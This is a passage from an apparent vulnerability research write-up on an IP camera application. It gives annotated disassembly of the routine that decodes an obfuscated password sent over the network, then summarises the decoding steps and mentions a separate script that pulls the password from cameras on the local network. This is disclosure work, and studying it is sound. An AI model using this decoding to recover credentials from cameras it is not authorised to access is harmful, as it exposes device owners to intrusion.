.MOV DWORD PTR SS:[LOCAL.5],ECX; set Arg5 to our decoded destination
.MOV EAX,DWORD PTR SS:[LOCAL.2]; set EAX to our half-decoded buffer
.MOV DWORD PTR SS:[LOCAL.3],EAX; set arg3 to point at our half-decoded buffer
.MOV EDX,DWORD PTR SS:[ARG.4]; ???? 1500 decimal
.MOV DWORD PTR DS:[EDX],ECX; clear out arg4 value
.XOR EAX,EAX; clear out EAX
.MOV DWORD PTR SS:[LOCAL.6],EAX; clear out local.6
./MOV EDX,DWORD PTR SS:[LOCAL.3]; move our current half-decoded dword position into EDX
.|MOV CL,BYTE PTR DS:[EDX]; move our current byte into ECX (CL) (dword[0])
.|SHL ECX,2; shift left 2 dword[0]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; move our current dword position into EAX
.|MOVSX EDX,BYTE PTR DS:[EAX+1]; move our current dword position + 1 (dword[1]) into EDX
.|SAR EDX,4; shift right 4 dword[1]
.|ADD CL,DL; add (shift left 2 dword[0]) + (shift right 4 dword[1])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our current decoded buffer position
.|MOV BYTE PTR DS:[EAX],CL; write our decoded (dword[0]) value to or decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; increment our position in the decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword position
.|MOV CL,BYTE PTR DS:[EDX+1]; set ECX to dword[1]
.|SHL ECX,4; left shift 4 dword[1]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current dword position
.|MOVSX EDX,BYTE PTR DS:[EAX+2]; set EDX to dword[2]
.|SAR EDX,2; shift right 2 dword[2]
.|ADD CL,DL; add (left shift 4 dword[1]) + (right shift 2 dword[2])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our next spot in the decoded buffer
.|MOV BYTE PTR DS:[EAX],CL; write our decoded value into our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current half-decoded dword
.|MOV CL,BYTE PTR DS:[EDX+2]; set ECX dword[2]
.|SHL ECX,6; shift left 6 dword[2]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.|ADD CL,BYTE PTR DS:[EAX+3]; add dword[2] + dword[3]
.|MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our next spot in our decoded buffer
.|MOV BYTE PTR DS:[EDX],CL; write our decoded byte to our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|ADD DWORD PTR SS:[LOCAL.3],4; increment our encoded buffer to point at our next dword
.|MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.|ADD DWORD PTR DS:[ECX],3; add 3 to our current offset?
.|ADD DWORD PTR SS:[LOCAL.6],4; add 4 to our byte counter??
.|MOV EAX,DWORD PTR SS:[ARG.2]; move total size into EAX
.|ADD EAX,-4; subtract 4 from total size
.|CMP EAX,DWORD PTR SS:[LOCAL.6]; compare our total bytes to read bytes
.\JG SHORT 0A729D50; jump back if we are not done
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our last DWORD of encoded buffer
.MOVSX ECX,BYTE PTR DS:[EDX+3]; set ECX to dword[3] last byte of our half-decoded dword (dword + 3)
.INC ECX; increment the value of dword[3]
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.MOV DL,BYTE PTR DS:[EAX]; set EDX (DL) to dword[0]
.SHL EDX,2; shift left 2 dword[0]
.MOV ECX,DWORD PTR SS:[LOCAL.3]; set ECX to our current encoded dword position
.MOVSX EAX,BYTE PTR DS:[ECX+1]; set EAX to dword[1]
.SAR EAX,4; shift right 4 dword[1]
.ADD DL,AL; add (shifted left 2 dword[0]) + (shifted right 4 dword[1])
.MOV ECX,DWORD PTR SS:[LOCAL.5]; set ECX to point at our next spot in our decoded buffer
.MOV BYTE PTR DS:[ECX],DL; write our decoded value (EDX/DL) to our decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to point at our dword
.MOV AL,BYTE PTR DS:[EDX+1]; set EAX/AL to dword[1]
.SHL EAX,4; shift left 4 dword[1]
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword
.MOVSX ECX,BYTE PTR DS:[EDX+2]; set ECX to dword[2]
.SAR ECX,2; shift right 2 dword[2]
.ADD AL,CL; add (shifted left 4 dword[1]) + (shifted right 2 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our current spot in our decoded buffer
.MOV BYTE PTR DS:[EDX],AL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to point at our current dword
.MOV CL,BYTE PTR DS:[EAX+2]; set ECX/CL to dword[2]
.SHL ECX,6; shift left 6 dword[2]
.MOV EAX,DWORD PTR SS:[LOCAL.3]; point EAX at our current dword
.ADD CL,BYTE PTR DS:[EAX+3]; add dword[3] + (shifted left 6 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; point EDX at our current decoded buffer
.MOV BYTE PTR DS:[EDX],CL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; increment our deocded buffer
.MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.ADD DWORD PTR DS:[ECX],3; add 4 for our current byte counter?
.JMP 0A729EA6; jump

Translated into english: the application first uses a lookup table to translate every byte in the input string, to do this it uses the value of the current byte as an offset into the table.  After it is done with “stage1” it traverses the translated input buffer a dword at a time and does some bit shifting and addition to fully decode the value. The following roughly shows the “stage2” routine:
(Dword[0] << 2) + (Dword[1] >> 4) = unencoded byte 1 
(Dword[1] << 4) + (Dword[2] >> 2) = unencoded byte 2 
(Dword[2] << 6) + Dword[3] = unencoded byte 3

I then confirmed that this routine worked on an “encoded” value that went over the wire from the application to the camera. After confirming the encoding scheme worked, I recreated the network transaction the application does with the camera to create a stand alone script that will retrieve the password from a camera that is on the same lan as the “attacker". The script can be found here, thanks to Jason Doyle for the original finding (@jasond0yle ).